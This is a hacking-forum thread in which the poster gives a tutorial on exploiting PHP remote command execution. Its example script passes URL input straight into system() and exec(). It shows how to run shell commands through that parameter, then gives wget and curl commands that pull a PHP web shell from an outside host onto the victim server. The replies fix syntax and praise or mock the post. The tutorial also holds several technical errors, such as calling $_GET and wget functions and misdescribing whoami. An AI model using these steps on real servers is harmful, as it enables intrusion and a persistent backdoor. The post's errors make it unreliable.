

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] - RCE \(Remote Code Execution\) - \[Tutorial\]](#)

BeggFoMercy - December 9, 2013, 10:44 am

Hi , Without being pathetic and starting with subtitles , I'll start the tutorial instantly.

What is Remote Code Execution (RCE) :

RCE Is a vulnerability that affects PHP \$GET Function , As most of us know , If the scripter uses a \$_GET function into his code It means that the url will actually get formatted as the user asks for,As the informations sent by the webserver will be visible to any one in the url , Example :

PHP Code

```
<?php
http://www.site.com/index.php?id=1
```

That's a simple example of what \$_GET PHP function does .

How Does Remote Code Execution affect a script :

PHP Code

```
<?php
$command=$_GET['command'];
system($command);
?>
```

That was a simple PHP script that has an RCE exploit flaw , It's pretty obvious to any PHP coder how the script works , But I'll explain it ,

Firstly we assign the variable \$command to the \$_GET function and give it a parameter " command " , Then the \$command variable is being used as a parameter into the system(); , So that the user will be able to execute any thing via the \$_GET function into the system(); Which is pretty exploitable .

So If we get to use the script some how , Our url will look like :

PHP Code

```
<?php
somepage.php?command=whatever
```

In our case It'll be pretty easy to exploit it as the command parameter passes through the system(); function , So any thing that the user add after the "command=" will go through the system(); function , So a simple knowledge with Linux commands will get your path through success .

Another simple example :

PHP Code

```
<?php
$command=$_GET['command'];
echo exec($command);
```

?>

This case is apparently the same as the above one , In this case it just uses the `exec()` function instead of the `system()` function to get the user's insertion into a shell command .

Exploitation

Let's try exploiting it by running simple linux commands to the url parameter " command= " , For example :

PHP Code

```
<?php
```

whoami <--- Reads the Internet socket to show if you have the privileges of root or not , As it will just tell you that you only have the privileges of Apache , If you are root , It will tell you that you're root , 0 = Root

uid <--- Fetchs you'r ID

That was just some simple Linux commands that usually every one uses .

By using any of them on the URL like this :

PHP Code

```
<?php
```

somepage.php?command=uid

Results :

Code uid=12345(someuser) gid=12(users)

Now It fetched our ID .

Now To managely exploit this you will have to use the `wget` function to get a shell spawned into the webserver .

To do this you'll need to use the famous `wget()` function `wget()` can be used to download a various files into a control gained server , For example

PHP Code

```
<?php
```

`wget http://www.site.com/shell.txt -O shell.php`

What this command does that it gets your shell.txt (source code of your php shell) downloaded then renamed by the "-O" Option to shell.php to allow your php shell to be executed .

You can also use `cURL()`; function like so

PHP Code

```
<?php
```

`curl -O http://www.site.com/shell.txt shell.php`

There's more than those 2 ways of finding RCE Exploits in a PHP script , I might write some more tutorials about exploiting RCEs .

Excuse me If the tutorial wasn't good enough , But expect way better tutorials next time .

Best regards ,

BeggFoMercy/UnSp0k3n

John Rogers - December 9, 2013, 10:48 am

This isn't really that helpful, you should use a real vulnerability (in like a, MyBB plugin or something) as an example, that would help people get the idea more. :)

Th3PonyWizard - December 9, 2013, 10:53 am

The concept is there, but I'd note that this sort of pure RCE attack is simply surreal. By methods such as LFI, RFI, etc you archive RCE which is dis. Don't know know why you're forcing yourself to stay on GET, as it'll be the same over any form of user input c:

BeggFoMercy - December 9, 2013, 10:54 am

That's why I pointed this

Code There's more than those 2 ways of finding RCE Exploits in a PHP script , I might write some more tutorials about exploiting RCEs

.I still get your point .

SIM-1241186 - December 9, 2013, 10:56 am

(Dec 9, 2013 11:48 AM)John Rogers Wrote: [\[CITE\]](#) This isn't really that helpful, you should use a real vulnerability (in like a, MyBB plugin or something) as an example, that would help people get the idea more. :)

What the hell are you talking about?

This tutorial made perfect sense, and was completely helpful. The only difference is OP didn't provide PoC (Proof Of Concept) for how you could possibly use this against forums.

The tutorial was for "Remote Code Execution", not "MyBB RCE 0day".

Does this tutorial accurately explain the concept of RCE? - Yes.

Could anyone reading this now obtain RCE providing they've found the correct conditions? - Yes.

Thread was helpful.

pashabiceps - December 9, 2013, 11:03 am

Couple of things here:

It doesn't necessarily imply that it's web based, but it's understandable since this is the Web Hacking Section.

"whatever=uid"

Code

poop 2.6.9-34.ELsmp #1 SMP Fri Feb 24 16:54:53 EST 2006 i686

You mean

ORLY, I CAN'T FUCKING POST "u**** -a" ON HF WITHOUT GETTING BLOCKED?

wget isn't a function.

John Rogers - December 9, 2013, 11:13 am

(Dec 9, 2013 11:56 AM)hackforumspang Wrote: [\[CITE\]](#) What the hell are you talking about?

This tutorial made perfect sense, and was completely helpful. The only difference is OP didn't provide PoC (Proof Of Concept) for how you could possibly use this against forums.

The tutorial was for "Remote Code Execution", not "MyBB RCE 0day".

Does this tutorial accurately explain the concept of RCE? - Yes.

Could anyone reading this now obtain RCE providing they've found the correct conditions? - Yes.

Thread was helpful.

;-;

I am saying that OP should have used an actual real world vulnerability as an example, this would give people an idea of auditing code. I said MyBB plugin as a suggestion, not prompting him to release a 0day for MyBB...

You can learn more from reading an article or whitepaper on the subject. Either make a good tutorial, or don't make one at all.

:C

Cathal - December 9, 2013, 11:44 am

Not to be that one dick, but does this really require a tutorial? This is essentially an explanation of unrealistic sample code, and three bash commands..

cheatson - December 9, 2013, 12:13 pm

Basic but good for newcomers to get the gist. Btw, you referred to \$_GET as a function (which is a superglobal variable not a function!)- nit-picking!

Blackhawk. - December 9, 2013, 12:13 pm

Nice basic concept of RCE.... :)

Thanks UnSp0k3n....Looking for more like this...Keep Going ;)

Anyways the curl command needs to be adjusted to the following :-

Code curl http://www.site.com/shell.txt > shell.php

Regards,

Blackhawk

BeggFoMercy - December 9, 2013, 12:22 pm

(Dec 9, 2013 01:13 PM)Blackhawk. Wrote: [\[CITE\]](#) Nice basic concept of RCE.... :)

Thanks UnSp0k3n....Looking for more like this...Keep Going ;)

Anyways the curl command needs to be adjusted to the following :-

Code curl http://www.site.com/shell.txt > shell.php

Regards,

BlackhawkUhhh I don't think that the curl command needs to be adjusted , I've tested it several times and it worked flawlessly .

Blackhawk. - December 9, 2013, 12:27 pm

Look the following part in tutorial :-

The following :-

Code You can also use cURL(); function like so

wget -O http://www.site.com/shell.txt shell.php

Should be changed to :-

Code curl http://www.site.com/shell.txt > shell.php

I think you mistakenly wrote wget instead of curl :)

Thanks.

BeggFoMercy - December 9, 2013, 12:52 pm

(Dec 9, 2013 01:27 PM)Blackhawk. Wrote: [\[CITE\]](#) Look the following part in tutorial :-

The following :-

Code You can also use cURL(); function like so
wget -O http://www.site.com/shell.txt shell.php
Should be changed to :-

Code curl http://www.site.com/shell.txt > shell.php
I think you mistakenly wrote wget instead of curl :)

Thanks.

I see your point now , Thanks for pointing me out .

Im gone brah - December 9, 2013, 2:07 pm

Remember my question? Difference between RCE and RCE, Glad your back bro.

Hannibal Rising - December 9, 2013, 2:08 pm

Thank you for the tutorial, OP.

Might be useful, somehow.

BeggFoMercy - December 10, 2013, 7:11 am

(Dec 9, 2013 03:07 PM)Zayne Wrote: [\[CITE\]](#) Remember my question? Difference between RCE and RCE, Glad your back bro. Yes but your question made no sense , You could have said Remote code execution and Remote command execution , Any ways I'm going to write another tutorial about the other RCE :P .

Im gone brah - December 10, 2013, 7:20 am

(Dec 10, 2013 08:11 AM)BeggFoMercy Wrote: [\[CITE\]](#) Yes but your question made no sense , You could have said Remote code execution and Remote command execution , Any ways I'm going to write another tutorial about the other RCE :P .

Meeh, It was supposed to be an acronym with many answers noob.

Btw about the new group contact me.

lolwaitwut - December 10, 2013, 10:22 am

Thank you, for posting this. Was wondering what RCE meant

Mayweather - December 10, 2013, 6:08 pm

Cool tut, but

Quote:Let's try exploiting it by running simple linux commands to the url parameter " command= " ,
For example :

PHP Code:

whoami <--- Reads the Internet socket to show if you have the privileges of root or not , As it will just tell you that you only have the privileges of Apache , If you are root , It will tell you that you're root , 0 = Root

uid <--- Fetchs you'r ID

Im pretty sure your meant id instead of uid

lcmp Traffic - December 11, 2013, 4:06 am

(Dec 9, 2013 01:13 PM)Blackhawk. Wrote: [\[CITE\]](#) Nice basic concept of RCE.... :)

Thanks UnSp0k3n....Looking for more like this...Keep Going ;)

Anyways the curl command needs to be adjusted to the following :-

Code curl http://www.site.com/shell.txt > shell.php

Regards,

Blackhawk hey kiddo forgetting the -o switch i see ;)

curl <http://uselesstut.com> -o lol.php

Cr0n3r - December 11, 2013, 6:23 pm

Well written tutorial man , Keep it up :D

133720 - December 11, 2013, 6:25 pm

nice RCE backdoor..

Thanks for the sharing

eklavyatomar - June 12, 2016, 4:56 am

that was informative, ignore the haters, thanx

BeggFoMercy - December 28, 2018, 3:12 pm

the golden era, good old days aren't forgetable

Gee4rce - December 30, 2018, 8:22 am

(Dec 28, 2018 04:12 PM)BeggFoMercy Wrote: [\[CITE\]](#) the golden era, good old days aren't forgetable
True, i'm fully with you on this ?

Mr. Robot - December 30, 2018, 8:28 am

(Dec 28, 2018 04:12 PM)BeggFoMercy Wrote: [\[CITE\]](#) the golden era, good old days aren't forgetable
You mean the days of copy paste? Found this posted like 2 months before you posted it exactly
unless you claim it's your blog which I mean it could be but y'know the fact you signed up to HF in
2011 and I doubt you would wait 2 months to post it on here.

BeggFoMercy - January 22, 2019, 6:18 am

(Dec 30, 2018 09:28 AM)Mr. Robot Wrote: [\[CITE\]](#) You mean the days of copy paste? Found this
posted like 2 months before you posted it exactly unless you claim it's your blog which I mean it
could be but y'know the fact you signed up to HF in 2011 and I doubt you would wait 2 months to
post it on here.

send me the blog you found , i doubt that someone have written exactly what i did unless it's me . I
never copy pasted anything, I quitted the field long time ago and I was in team INTRA if the name
rings you a bell .

(Dec 30, 2018 09:22 AM)Gee4rce Wrote: [\[CITE\]](#) True, i'm fully with you on this ?
I do remember you my mate , I wish to get intouch with the old fellas again , send me a private msg
with your skype/discord anything .

Asdethprime - January 22, 2019, 7:39 pm

If anyone is reading this as a properly RCE tutorial than this is not it.

That being said, if you look at this to understand the background (bare basic at best) for RCE it's a
pretty decent tutorial.

Better than a lot of what I am used to seeing.

Porsche - *January 31, 2019, 9:16 am*

Honestly liked the thread as this could definitely be useful to newbies, also very nice if you don't have a lot of space to put code and can't initially start with a full shell.